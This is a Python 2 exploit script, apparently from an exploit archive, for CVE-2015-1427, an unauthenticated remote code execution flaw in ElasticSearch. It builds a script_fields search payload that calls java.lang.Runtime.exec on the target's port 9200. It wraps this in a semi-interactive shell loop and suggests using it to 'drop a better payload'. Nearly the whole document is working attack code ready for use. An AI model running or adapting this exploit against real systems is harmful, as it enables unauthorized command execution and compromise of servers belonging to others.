ElasticSearch Unauthenticated Remote Code Execution

[Void]

#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"

def banner():
print """\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
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Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__)

def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()


def exploit(target):
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)

def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])

if __name__ == "__main__":
main(args=sys.argv)